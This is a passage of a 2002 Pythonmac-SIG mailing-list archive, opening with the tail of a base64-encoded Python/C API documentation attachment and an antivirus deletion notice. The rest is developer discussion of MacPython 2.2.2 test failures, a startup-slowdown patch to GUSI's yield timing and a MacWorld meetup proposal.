PHZhcj53aGF0PC92YXI+IHBhcmFtZXRlciB0byBhIDx0dCBjbGFzcz0iY3R5cGUiPlB5X3Ry
YWNlZnVuYzwvdHQ+DQogIGZ1bmN0aW9uIHdoZW4gYSBuZXcgY2FsbCB0byBhIGZ1bmN0aW9u
IG9yIG1ldGhvZCBpcyBiZWluZyByZXBvcnRlZCwNCiAgb3IgYSBuZXcgZW50cnkgaW50byBh
IGdlbmVyYXRvci4gIE5vdGUgdGhhdCB0aGUgY3JlYXRpb24gb2YgdGhlDQogIGl0ZXJhdG9y
IGZvciBhIGdlbmVyYXRvciBmdW5jdGlvbiBpcyBub3QgcmVwb3J0ZWQgYXMgdGhlcmUgaXMg
bm8NCiAgY29udHJvbCB0cmFuc2ZlciB0byB0aGUgUHl0aG9uIGJ5dGVjb2RlIGluIHRoZSBj
b3JyZXNwb25kaW5nIGZyYW1lLg0KPC9kbD4NCg0KPFA+DQo8ZGw+PGR0PmludCA8Yj48YSBu
YW1lPSJsMmgtNzU1Ij48dHQgY2xhc3M9ImNkYXRhIj5QeVRyYWNlX0VYQ0VQVDwvdHQ+PC9h
PjwvYj4NCjxkZD4NCiAgVGhlIHZhbHVlIG9mIHRoZSA8dmFyPndoYXQ8L3Zhcj4gcGFyYW1l
dGVyIHRvIGEgPHR0IGNsYXNzPSJjdHlwZSI+UHlfdHJhY2VmdW5jPC90dD4NCiAgZnVuY3Rp
b24gd2hlbiBhbiBleGNlcHRpb24gaGFzIGJlZW4gcmFpc2VkLiAgVGhlIGNhbGxiYWNrIGZ1
bmN0aW9uDQogIGlzIGNhbGxlZCB3aXRoIHRoaXMgdmFsdWUgZm9yIDx2YXI+d2hhdDwvdmFy
PiB3aGVuIGFmdGVyIGFueSBieXRlY29kZSBpcw0KICBwcm9jZXNzZWQgYWZ0ZXIgd2hpY2gg
dGhlIGV4Y2VwdGlvbiBiZWNvbWVzIHNldCB3aXRoaW4gdGhlIGZyYW1lDQogIGJlaW5nIGV4
ZWN1dGVkLiAgVGhlIGVmZmVjdCBvZiB0aGlzIGlzIHRoYXQgYXMgZXhjZXB0aW9uIHByb3Bv
Z2F0aW9uDQogIGNhdXNlcyB0aGUgUHl0aG9uIHN0YWNrIHRvIHVud2luZCwgdGhlIGNhbGxi
YWNrIGlzIGNhbGxlZCB1cG9uDQogIHJldHVybiB0byBlYWNoIGZyYW1lIGFzIHRoZSBleGNl
cHRpb24gcHJvcG9nYXRlcy4gIE9ubHkgdHJhY2UNCiAgZnVuY3Rpb25zIHJlY2VpdmVzIHRo
ZXNlIGV2ZW50czsgdGhleSBhcmUgbm90IG5lZWRlZCBieSB0aGUNCiAgcHJvZmlsZXIuDQo8
L2RsPg0KDQo8UD4NCjxkbD48ZHQ+aW50IDxiPjxhIG5hbWU9ImwyaC03NTYiPjx0dCBjbGFz
cz0iY2RhdGEiPlB5VHJhY2VfTElORTwvdHQ+PC9hPjwvYj4NCjxkZD4NCiAgVGhlIHZhbHVl
IHBhc3NlZCBhcyB0aGUgPHZhcj53aGF0PC92YXI+IHBhcmFtZXRlciB0byBhIHRyYWNlIGZ1
bmN0aW9uDQogIChidXQgbm90IGEgcHJvZmlsaW5nIGZ1bmN0aW9uKSB3aGVuIGEgbGluZS1u
dW1iZXIgZXZlbnQgaXMgYmVpbmcNCiAgcmVwb3J0ZWQuDQo8L2RsPg0KDQo8UD4NCjxkbD48
ZHQ+aW50IDxiPjxhIG5hbWU9ImwyaC03NTciPjx0dCBjbGFzcz0iY2RhdGEiPlB5VHJhY2Vf
UkVUVVJOPC90dD48L2E+PC9iPg0KPGRkPg0KICBUaGUgdmFsdWUgZm9yIHRoZSA8dmFyPndo
YXQ8L3Zhcj4gcGFyYW1ldGVyIHRvIDx0dCBjbGFzcz0iY3R5cGUiPlB5X3RyYWNlZnVuYzwv
dHQ+DQogIGZ1bmN0aW9ucyB3aGVuIGEgY2FsbCBpcyByZXR1cm5pbmcgd2l0aG91dCBwcm9w
b2dhdGluZyBhbiBleGNlcHRpb24uDQo8L2RsPg0KDQo8UD4NCjxkbD48ZHQ+dm9pZCA8Yj48
YSBuYW1lPSJsMmgtNzU4Ij48dHQgY2xhc3M9ImNmdW5jdGlvbiI+UHlFdmFsX1NldFByb2Zp
bGU8L3R0PjwvYT48L2I+KDx2YXI+UHlfdHJhY2VmdW5jIGZ1bmMsIFB5T2JqZWN0ICpvYmo8
L3Zhcj4pDQo8ZGQ+DQogIFNldCB0aGUgcHJvZmlsZXIgZnVuY3Rpb24gdG8gPHZhcj5mdW5j
PC92YXI+LiAgVGhlIDx2YXI+b2JqPC92YXI+IHBhcmFtZXRlciBpcw0KICBwYXNzZWQgdG8g
dGhlIGZ1bmN0aW9uIGFzIGl0cyBmaXJzdCBwYXJhbWV0ZXIsIGFuZCBtYXkgYmUgYW55IFB5
dGhvbg0KICBvYmplY3QsIG9yIDx0dCBjbGFzcz0iY29uc3RhbnQiPk5VTEw8L3R0Pi4gIElm
IHRoZSBwcm9maWxlIGZ1bmN0aW9uIG5lZWRzIHRvIG1haW50YWluIHN0YXRlLA0KICB1c2lu
ZyBhIGRpZmZlcmVudCB2YWx1ZSBmb3IgPHZhcj5vYmo8L3Zhcj4gZm9yIGVhY2ggdGhyZWFk
IHByb3ZpZGVzIGENCiAgY29udmVuaWVudCBhbmQgdGhyZWFkLXNhZmUgcGxhY2UgdG8gc3Rv
cmUgaXQuICBUaGUgcHJvZmlsZSBmdW5jdGlvbg0KICBpcyBjYWxsZWQgZm9yIGFsbCBtb25p
dG9yZWQgZXZlbnRzIGV4Y2VwdCB0aGUgbGluZS1udW1iZXIgZXZlbnRzLg0KPC9kbD4NCg0K
PFA+DQo8ZGw+PGR0PnZvaWQgPGI+PGEgbmFtZT0ibDJoLTc1OSI+PHR0IGNsYXNzPSJjZnVu
Y3Rpb24iPlB5RXZhbF9TZXRUcmFjZTwvdHQ+PC9hPjwvYj4oPHZhcj5QeV90cmFjZWZ1bmMg
ZnVuYywgUHlPYmplY3QgKm9iajwvdmFyPikNCjxkZD4NCiAgU2V0IHRoZSB0aGUgdHJhY2lu
ZyBmdW5jdGlvbiB0byA8dmFyPmZ1bmM8L3Zhcj4uICBUaGlzIGlzIHNpbWlsYXIgdG8NCiAg
PHR0IGNsYXNzPSJjZnVuY3Rpb24iPlB5RXZhbF9TZXRQcm9maWxlKCk8L3R0PiwgZXhjZXB0
IHRoZSB0cmFjaW5nIGZ1bmN0aW9uIGRvZXMNCiAgcmVjZWl2ZSBsaW5lLW51bWJlciBldmVu
dHMuDQo8L2RsPg0KDQo8UD4NCg0KPERJViBDTEFTUz0ibmF2aWdhdGlvbiI+DQo8cD48aHI+
DQo8dGFibGUgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwMCUiIGNlbGxwYWRkaW5nPSIwIiBj
ZWxsc3BhY2luZz0iMiI+DQo8dHI+DQo8dGQ+PEEgaHJlZj0idGhyZWFkcy5odG1sIj48aW1n
IHNyYz0iLi4vaWNvbnMvcHJldmlvdXMuZ2lmIg0KICBib3JkZXI9IjAiIGhlaWdodD0iMzIi
DQogIGFsdD0iUHJldmlvdXMgUGFnZSIgd2lkdGg9IjMyIj48L0E+PC90ZD4NCjx0ZD48QSBo
cmVmPSJpbml0aWFsaXphdGlvbi5odG1sIj48aW1nIHNyYz0iLi4vaWNvbnMvdXAuZ2lmIg0K
ICBib3JkZXI9IjAiIGhlaWdodD0iMzIiDQogIGFsdD0iVXAgT25lIExldmVsIiB3aWR0aD0i
MzIiPjwvQT48L3RkPg0KPHRkPjxBIGhyZWY9ImFkdmFuY2VkLWRlYnVnZ2luZy5odG1sIj48
aW1nIHNyYz0iLi4vaWNvbnMvbmV4dC5naWYiDQogIGJvcmRlcj0iMCIgaGVpZ2h0PSIzMiIN
CiAgYWx0PSJOZXh0IFBhZ2UiIHdpZHRoPSIzMiI+PC9BPjwvdGQ+DQo8dGQgYWxpZ249ImNl
bnRlciIgd2lkdGg9IjEwMCUiPlB5dGhvbi9DIEFQSSBSZWZlcmVuY2UgTWFudWFsPC90ZD4N
Cjx0ZD48QSBocmVmPSJjb250ZW50cy5odG1sIj48aW1nIHNyYz0iLi4vaWNvbnMvY29udGVu
dHMuZ2lmIg0KICBib3JkZXI9IjAiIGhlaWdodD0iMzIiDQogIGFsdD0iQ29udGVudHMiIHdp
ZHRoPSIzMiI+PC9BPjwvdGQ+DQo8dGQ+PGltZyBzcmM9Ii4uL2ljb25zL2JsYW5rLmdpZiIN
CiAgYm9yZGVyPSIwIiBoZWlnaHQ9IjMyIg0KICBhbHQ9IiIgd2lkdGg9IjMyIj48L3RkPg0K
PHRkPjxBIGhyZWY9ImdlbmluZGV4Lmh0bWwiPjxpbWcgc3JjPSIuLi9pY29ucy9pbmRleC5n
aWYiDQogIGJvcmRlcj0iMCIgaGVpZ2h0PSIzMiINCiAgYWx0PSJJbmRleCIgd2lkdGg9IjMy
Ij48L0E+PC90ZD4NCjwvdHI+PC90YWJsZT4NCjxiIGNsYXNzPSJuYXZsYWJlbCI+UHJldmlv
dXM6PC9iPiA8YSBjbGFzcz0ic2VjdHJlZiIgaHJlZj0idGhyZWFkcy5odG1sIj44LjEgVGhy
ZWFkIFN0YXRlIGFuZDwvQT4NCjxiIGNsYXNzPSJuYXZsYWJlbCI+VXA6PC9iPiA8YSBjbGFz
cz0ic2VjdHJlZiIgaHJlZj0iaW5pdGlhbGl6YXRpb24uaHRtbCI+OC4gSW5pdGlhbGl6YXRp
b24sIEZpbmFsaXphdGlvbiwgYW5kPC9BPg0KPGIgY2xhc3M9Im5hdmxhYmVsIj5OZXh0Ojwv
Yj4gPGEgY2xhc3M9InNlY3RyZWYiIGhyZWY9ImFkdmFuY2VkLWRlYnVnZ2luZy5odG1sIj44
LjMgQWR2YW5jZWQgRGVidWdnZXIgU3VwcG9ydDwvQT4NCjxocj4NCjxzcGFuIGNsYXNzPSJy
ZWxlYXNlLWluZm8iPlJlbGVhc2UgMi4yLjEsIGRvY3VtZW50YXRpb24gdXBkYXRlZCBvbiBB
cHJpbCAxMCwgMjAwMi48L3NwYW4+DQo8L0RJVj4NCjwhLS1FbmQgb2YgTmF2aWdhdGlvbiBQ
YW5lbC0tPg0KPEFERFJFU1M+DQpTZWUgPGk+PGEgaHJlZj0iYWJvdXQuaHRtbCI+QWJvdXQg
dGhpcyBkb2N1bWVudC4uLjwvYT48L2k+IGZvciBpbmZvcm1hdGlvbiBvbiBzdWdnZXN0aW5n
IGNoYW5nZXMuDQo8L0FERFJFU1M+DQo8L0JPRFk+DQo8L0hUTUw+DQ=9
--A4A7mt43mR2O44D7zJ647n6tgFDS064--



------=_NextPartTM-000-ed95664c-ebdf-11d6-a148-0010b586b16d
Content-Type: text/plain;
	name="InterScan_SafeStamp.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="InterScan_SafeStamp.txt"

****** Message from InterScan E-Mail VirusWall NT ******

** WARNING! Attached file for.pif contains:

     WORM_KLEZ.H virus

   Attempted to clean the file but it is not cleanable.
   It has been deleted.

Message : Virus detecté
*****************     End of message     ***************


------=_NextPartTM-000-ed95664c-ebdf-11d6-a148-0010b586b16d--


From daniel_t@earthlink.net  Wed Oct 30 14:52:42 2002
From: daniel_t@earthlink.net (Daniel)
Date: Wed, 30 Oct 2002 09:52:42 -0500
Subject: [Pythonmac-SIG] Bug report filed...
In-Reply-To: <0F47CD69-EB8C-11D6-BDB7-003065517236@oratrix.com>
References: <0F47CD69-EB8C-11D6-BDB7-003065517236@oratrix.com>
Message-ID: <a05111b04b9e5a24b45e8@[192.168.1.100]>

At 11:16 PM +0100 10/29/02, Jack Jansen wrote:
>Could you file a bug report at sourceforge? At the very least the test set
>should detect this situation and print a warning that you may 
>experience random
>failures that do not point to problems with the python installation, 
>I guess...

Report filed. BTW, sorry about broadcasting the output to the entire 
list. I wasn't paying attention to where my mail was going...


From stephenm@humongous.com  Wed Oct 30 18:11:10 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Wed, 30 Oct 2002 10:11:10 -0800
Subject: [Pythonmac-SIG] waitNextEvent reliance
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE87F@sea-horse.seattle.infogrames.loc>

Anyone been able to modify the Python Core so that it uses primarily
RunApplicationEventLoop() as opposed to WaitNextEvent()? Can anyone give me
some guidelines of what would be needed in order to do this?


Thanks,


Stephen Magladry


From Chris.Barker@noaa.gov  Wed Oct 30 18:30:15 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 30 Oct 2002 10:30:15 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
References: <0F47CD69-EB8C-11D6-BDB7-003065517236@oratrix.com>
Message-ID: <3DC02537.E5EFCD7B@noaa.gov>

Jack Jansen wrote:
> This is an interesting bug you found: the bug is really with
> Python's test suite. The test suite expects to have write
> permission in Python's Lib/test directory (or somewhere
> thereabouts). The bug isn't mac-specific, but it's triggered by
> person A doing the install and person B running the test set.

There has to be a little more to it. On my Linux box, test.autotest runs
fine as a normal user, even though I do not have write permissions to:

/usr/lib/python2.2/test/

Is that the directory you thought write permissions were needed for?

-Chris


-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Wed Oct 30 18:31:44 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 30 Oct 2002 10:31:44 -0800
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
References: <B9E473E9.7001%niel_mayhew@mac.com>
Message-ID: <3DC02590.C789EAAA@noaa.gov>

Neil Mayhew wrote:
> I tried 2.2.2 on my dual-processor G4 today and re-encountered the strange
> slowdown that I reported before, when starting any of the Python apps
> (EditPreferences, PythonInterpreter and Python IDE).

Can you give me a little more detail on what the problem is, so I can
test it out on my dual G4 as well?

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Wed Oct 30 18:32:49 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 30 Oct 2002 10:32:49 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
References: <7B602993-EB17-11D6-8114-0003931036B4@brotsky.com>
Message-ID: <3DC025D1.43A7B852@noaa.gov>

Dan Brotsky wrote:
> 
> Success like everyone else on 10.2.1, Jack:
> 
> > 3 tests failed:
> >     test_frozen test_math test_socket

test_math failed? That's wierd, and I'd think something to be concerned
about!

-Chris


-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Wed Oct 30 19:17:28 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 30 Oct 2002 11:17:28 -0800
Subject: [Pythonmac-SIG] Anyone want to do a Python "Birds-of-a-Feather" at MacWorld San
 Francisco?
References: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <3DC03048.50F84119@noaa.gov>

Hi all,

There is some chance that I could get my boss to send me to MacWorld In
SF this January. If so I thought a Birds of a Feather session on Python
would be great! Are any of you going? 

http://www.macworldexpo.com/

We need to submit the BOF proposal by Nov 8.

http://www.macworldexpo.com/macworld2003/V33/index.cvn?ID=10079

Let me know if you're interested. I'd be glad to host it, although there
are certainly others on this list that are better qualified.

Jack, I don't suppose there is any way for you to get funded to give a
talk at the next MacWorld. It would be great exposure for MacPython.

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From aparente@adobe.com  Wed Oct 30 19:05:15 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Wed, 30 Oct 2002 11:05:15 -0800
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <3DC02590.C789EAAA@noaa.gov>
Message-ID: <B9E56D6B.8A29%aparente@adobe.com>

Hi Chris,

I have the same problem on OSX SMP, so here is what I do (gusiconfig.cpp) :

static void
PyMac_GUSISpin(bool wait)
{
    static Boolean    inForeground = true;
//    int        maxsleep = 6;    /* 6 ticks is "normal" sleeptime */
    int        maxsleep = 1;    /* 6 is to slooooow on OSX SMP */

    if (PyMac_ConsoleIsDead) return;

    if ( !wait )
        maxsleep = 0;

    PyMac_DoYield(maxsleep, 0); /* XXXX or is it safe to call python here?
*/
}

I changed maxsleep to 1 and it works much better for me. I've been running
this for 1 year or so.

I think the fundamental problem is GUSI yielding too much on OSX.

Alex.

> Neil Mayhew wrote:
>> I tried 2.2.2 on my dual-processor G4 today and re-encountered the strange
>> slowdown that I reported before, when starting any of the Python apps
>> (EditPreferences, PythonInterpreter and Python IDE).
> 
> Can you give me a little more detail on what the problem is, so I can
> test it out on my dual G4 as well?
> 
> -Chris

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166



From jacobkm@cats.ucsc.edu  Wed Oct 30 21:09:36 2002
From: jacobkm@cats.ucsc.edu (Jacob Kaplan-Moss)
Date: Wed, 30 Oct 2002 13:09:36 -0800
Subject: [Pythonmac-SIG] Anyone want to do a Python
 "Birds-of-a-Feather" at MacWorld San  Francisco?
In-Reply-To: <3DC03048.50F84119@noaa.gov>
References: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
 <3DC03048.50F84119@noaa.gov>
Message-ID: <p05111b03b9e5facc7136@[10.0.1.3]>

At 11:17 AM -0800 10/30/02, Chris Barker wrote:
>Hi all,
>
>There is some chance that I could get my boss to send me to MacWorld In
>SF this January. If so I thought a Birds of a Feather session on Python
>would be great! Are any of you going?
[snip]

I'll be there, and I'd love to get together with other MacPython 
people... keep the list posted!

Jacob


From Jack.Jansen@oratrix.com  Wed Oct 30 21:41:38 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 30 Oct 2002 22:41:38 +0100
Subject: [Pythonmac-SIG] waitNextEvent reliance
In-Reply-To: <151590CD351823429A7EBA135BEEAD5801ADE87F@sea-horse.seattle.infogrames.loc>
Message-ID: <5ED144E4-EC50-11D6-9A1E-003065517236@oratrix.com>

On woensdag, oktober 30, 2002, at 07:11 , Magladry, Stephen wrote:

> Anyone been able to modify the Python Core so that it uses primarily
> RunApplicationEventLoop() as opposed to WaitNextEvent()? Can 
> anyone give me
> some guidelines of what would be needed in order to do this?

I gave up on this idea. As of 2.3 MacPython-OSX will no longer 
have the problem, being based on unix-Python. And MacPython-OS9 
will need a hook in the mainloop anyway otherwise a Python 
program that doesn't do any I/O will never yield to other 
processes on OS9.

What would be a good idea is if W (or Framework) could be based 
on Carbon Events, as it will probably still be used in 
MacPython-OSX.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Wed Oct 30 21:51:57 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 30 Oct 2002 22:51:57 +0100
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <B9E56D6B.8A29%aparente@adobe.com>
Message-ID: <CFD9CC8E-EC51-11D6-9A1E-003065517236@oratrix.com>

Alexandre,
have you tried this on older, slower (OS9?) machines too? If it 
works reasonably there as well I'll just drop this in (albeit 
for MacPython 2.2.3, 2.2.2 is finished).
Otherwise the fix would become more cumbersome: I think we would 
have to use 1 on OSX and 6 on OS9 or somesuch.

On woensdag, oktober 30, 2002, at 08:05 , Alexandre Parenteau wrote:

> Hi Chris,
>
> I have the same problem on OSX SMP, so here is what I do 
> (gusiconfig.cpp) :
>
> static void
> PyMac_GUSISpin(bool wait)
> {
>     static Boolean    inForeground = true;
> //    int        maxsleep = 6;    /* 6 ticks is "normal" sleeptime */
>     int        maxsleep = 1;    /* 6 is to slooooow on OSX SMP */
>
>     if (PyMac_ConsoleIsDead) return;
>
>     if ( !wait )
>         maxsleep = 0;
>
>     PyMac_DoYield(maxsleep, 0); /* XXXX or is it safe to call 
> python here?
> */
> }
>
> I changed maxsleep to 1 and it works much better for me. I've 
> been running
> this for 1 year or so.
>
> I think the fundamental problem is GUSI yielding too much on OSX.
>
> Alex.
>
>> Neil Mayhew wrote:
>>> I tried 2.2.2 on my dual-processor G4 today and re-encountered 
>>> the strange
>>> slowdown that I reported before, when starting any of the Python apps
>>> (EditPreferences, PythonInterpreter and Python IDE).
>>
>> Can you give me a little more detail on what the problem is, so I can
>> test it out on my dual G4 as well?
>>
>> -Chris
>
> --
> Alexandre Parenteau
> Computer Scientist
> Core Technologies, AGM
> Adobe Systems, Inc.
> 408-536-6166
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Wed Oct 30 22:00:20 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 30 Oct 2002 23:00:20 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <3DC02537.E5EFCD7B@noaa.gov>
Message-ID: <FB60CDD6-EC52-11D6-9A1E-003065517236@oratrix.com>

On woensdag, oktober 30, 2002, at 07:30 , Chris Barker wrote:

> Jack Jansen wrote:
>> This is an interesting bug you found: the bug is really with
>> Python's test suite. The test suite expects to have write
>> permission in Python's Lib/test directory (or somewhere
>> thereabouts). The bug isn't mac-specific, but it's triggered by
>> person A doing the install and person B running the test set.
>
> There has to be a little more to it. On my Linux box, 
> test.autotest runs
> fine as a normal user, even though I do not have write permissions to:
>
> /usr/lib/python2.2/test/
>
> Is that the directory you thought write permissions were needed for?

It turns out you need write permission in the current directory, 
i.e. the directory where you run the tests. On Linux this'll be 
the place where you invoke Python. But with MacPython on OSX it 
will be /Applications/Python 2.2.2, and that directory is only 
writeable by the user who installed Python or of that same group 
(the directory has mode rwxrwxr-x).

So, after all I think it isn't really a bug, it's an 
ideosyncracy of MacPython on OSX.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Wed Oct 30 22:10:40 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 30 Oct 2002 23:10:40 +0100
Subject: [Pythonmac-SIG] Anyone want to do a Python "Birds-of-a-Feather" at MacWorld San Francisco?
In-Reply-To: <3DC03048.50F84119@noaa.gov>
Message-ID: <6D0033D4-EC54-11D6-9A1E-003065517236@oratrix.com>

On woensdag, oktober 30, 2002, at 08:17 , Chris Barker wrote:
> Jack, I don't suppose there is any way for you to get funded to give a
> talk at the next MacWorld. It would be great exposure for MacPython.

Not by my boss, I'm afraid. My current Real Job is programming C 
and OpenGL stereo graphics and using firewire cameras on Linux 
to find the position of someone's eyes. Very interesting, but 
only marginally MacPython related:-)

But if someone here can think of a way to get me sponsored I'd 
be all ears:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From aparente@adobe.com  Thu Oct 31 08:00:32 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Thu, 31 Oct 2002 00:00:32 -0800
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <CFD9CC8E-EC51-11D6-9A1E-003065517236@oratrix.com>
Message-ID: <000001c280b3$96978950$0400a8c0@krau>

Hi Jack,

I cannot be sure for OS9 since I'm not a regular user. To your request I
booted OS9 and started the interpreter : it looks fine, faster too
(although it is less sensible compared to OSX speed up), and I believe
the yielding is still honorable (I can switch application, do other
things, while running autotest).

A regular OS9 user should be able to tell more.

alex

-----Original Message-----
From: pythonmac-sig-admin@python.org
[mailto:pythonmac-sig-admin@python.org] On Behalf Of Jack Jansen
Sent: Wednesday, October 30, 2002 1:52 PM
To: Alexandre Parenteau
Cc: Chris Barker; Neil Mayhew; MacPython
Subject: Re: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate


Alexandre,
have you tried this on older, slower (OS9?) machines too? If it 
works reasonably there as well I'll just drop this in (albeit 
for MacPython 2.2.3, 2.2.2 is finished).
Otherwise the fix would become more cumbersome: I think we would 
have to use 1 on OSX and 6 on OS9 or somesuch.

On woensdag, oktober 30, 2002, at 08:05 , Alexandre Parenteau wrote:

> Hi Chris,
>
> I have the same problem on OSX SMP, so here is what I do
> (gusiconfig.cpp) :
>
> static void
> PyMac_GUSISpin(bool wait)
> {
>     static Boolean    inForeground = true;
> //    int        maxsleep = 6;    /* 6 ticks is "normal" sleeptime */
>     int        maxsleep = 1;    /* 6 is to slooooow on OSX SMP */
>
>     if (PyMac_ConsoleIsDead) return;
>
>     if ( !wait )
>         maxsleep = 0;
>
>     PyMac_DoYield(maxsleep, 0); /* XXXX or is it safe to call
> python here?
> */
> }
>
> I changed maxsleep to 1 and it works much better for me. I've
> been running
> this for 1 year or so.
>
> I think the fundamental problem is GUSI yielding too much on OSX.
>
> Alex.
>
>> Neil Mayhew wrote:
>>> I tried 2.2.2 on my dual-processor G4 today and re-encountered
>>> the strange
>>> slowdown that I reported before, when starting any of the Python
apps
>>> (EditPreferences, PythonInterpreter and Python IDE).
>>
>> Can you give me a little more detail on what the problem is, so I can

>> test it out on my dual G4 as well?
>>
>> -Chris
>
> --
> Alexandre Parenteau
> Computer Scientist
> Core Technologies, AGM
> Adobe Systems, Inc.
> 408-536-6166
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org 
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -


_______________________________________________
Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
http://mail.python.org/mailman/listinfo/pythonmac-sig



From francois.granger@free.fr  Thu Oct 31 08:39:26 2002
From: francois.granger@free.fr (Fran=?ISO-8859-1?B?5w==?=ois Granger)
Date: Thu, 31 Oct 2002 09:39:26 +0100
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <000001c280b3$96978950$0400a8c0@krau>
Message-ID: <B9E6AACE.5B506%francois.granger@free.fr>

on 31/10/02 9:00, Alexandre Parenteau at aparente@adobe.com wrote:

> Hi Jack,
> 
> I cannot be sure for OS9 since I'm not a regular user. To your request I
> booted OS9 and started the interpreter : it looks fine, faster too
> (although it is less sensible compared to OSX speed up), and I believe
> the yielding is still honorable (I can switch application, do other
> things, while running autotest).
> 
> A regular OS9 user should be able to tell more.

If you can send me binary, I should be able to test.

-- 
Le courrier est un moyen de communication. Les gens devraient
se poser des questions sur les implications politiques des choix (ou non
choix) de leurs outils et technologies. Pour des courriers propres :
<http://marc.herbert.free.fr/mail/> -- <http://minilien.com/?IXZneLoID0>



From Chris.Barker@noaa.gov  Thu Oct 31 17:57:52 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Thu, 31 Oct 2002 09:57:52 -0800
Subject: [Pythonmac-SIG] Python "Birds-of-a-Feather" at MacWorld SanFrancisco
References: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com> <3DC03048.50F84119@noaa.gov>
Message-ID: <3DC16F20.BCFF1CB5@noaa.gov>

Hi all,

I submitted a proposal for a MacPython BOF for the SF MacWorld.

I'm not sure if I'll be able to go, but I thought I'd get the ball
rolling. The MacWorld website asks for proposals for BoF sessions, and
also requests, so if any of you that are going want to make a request
for one, I imagine it's more likely to get approved.

http://www.macworldexpo.com/macworld2003/V33/index.cvn?ID=10079

-Chris



-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From niel_mayhew@mac.com  Thu Oct 31 18:04:06 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Thu, 31 Oct 2002 11:04:06 -0700
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <3DC02590.C789EAAA@noaa.gov>
Message-ID: <B9E6BEA6.7057%niel_mayhew@mac.com>

on 30/10/2002 11:31 AM, Chris Barker wrote:

> Can you give me a little more detail on what the problem is, so I can
> test it out on my dual G4 as well?

All of the MacPython applications have a 3-6 second delay on starting up
(including EditPythonPrefs and BuildApplet). For example, if I double-click
PythonInterpreter, the console window comes up but there is a pause of up to
6 seconds before the >>> appears. After I use EditPythonPrefs to set the
global options to disable site-python, there is hardly any delay. The same
is true if I hold down Option just after double-clicking PythonInterpreter
and disable site-python for just that one run. If I then type 'import site'
at the prompt, the import takes less than a second.

If I start up with 'Trace import statements' and 'Also show failed attempts'
checked, there is a very noticeable pause after 'import __future__ #
precompiled from ... Python 2.2.2:Lib:__future__.pyc' and before '# trying
